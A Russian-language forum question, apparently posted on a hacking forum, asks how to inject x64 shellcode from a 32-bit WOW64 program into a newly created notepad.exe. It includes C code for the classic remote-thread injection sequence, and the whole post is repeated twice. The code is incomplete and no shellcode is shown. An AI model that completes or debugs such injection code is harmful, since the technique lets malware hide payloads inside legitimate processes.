Моя программа х86 работает через WOW64, пытаюсь заинжектить в в новосозданный х64 процесс х64 шеллкод стандартным методом:
C:
Скопировать в буфер обмена
STARTUPINFOA StartupInfo;
PROCESS_INFORMATION ProcessInfo;
ZeroMemory(&StartupInfo, sizeof(StartupInfo));
StartupInfo.cb = sizeof(StartupInfo);
if (!CreateProcessA("C:\\Windows\\System32\\notepad.exe", NULL, NULL, NULL, FALSE, 0, NULL, NULL, &StartupInfo, &ProcessInfo)) {
printf("CreateProcess failed\n");
return 1;
}
remoteBuffer = VirtualAllocEx(processHandle, NULL, sizeof shellcode, (MEM_RESERVE | MEM_COMMIT), PAGE_EXECUTE_READWRITE);
WriteProcessMemory(processHandle, remoteBuffer, shellcode, sizeof shellcode, NULL);
remoteThread = CreateRemoteThread(processHandle, NULL, 0, (LPTHREAD_START_ROUTINE)remoteBuffer, NULL, 0, NULL);
CloseHandle(processHandle);
Создается новый wow64\notepad.exe процесс вместо system32\notepad.exe. Пробовал создавать процесс sysnative\notepad.exe, но при создании удаленного потока возвращает ошибку STATUS_ACCESS_DENIED
C:
Скопировать в буфер обмена
STARTUPINFOA StartupInfo;
PROCESS_INFORMATION ProcessInfo;
ZeroMemory(&StartupInfo, sizeof(StartupInfo));
StartupInfo.cb = sizeof(StartupInfo);
if (!CreateProcessA("C:\\Windows\\System32\\notepad.exe", NULL, NULL, NULL, FALSE, 0, NULL, NULL, &StartupInfo, &ProcessInfo)) {
printf("CreateProcess failed\n");
return 1;
}
remoteBuffer = VirtualAllocEx(processHandle, NULL, sizeof shellcode, (MEM_RESERVE | MEM_COMMIT), PAGE_EXECUTE_READWRITE);
WriteProcessMemory(processHandle, remoteBuffer, shellcode, sizeof shellcode, NULL);
remoteThread = CreateRemoteThread(processHandle, NULL, 0, (LPTHREAD_START_ROUTINE)remoteBuffer, NULL, 0, NULL);
CloseHandle(processHandle);
Создается новый wow64\notepad.exe процесс вместо system32\notepad.exe. Пробовал создавать процесс sysnative\notepad.exe, но при создании удаленного потока возвращает ошибку STATUS_ACCESS_DENIED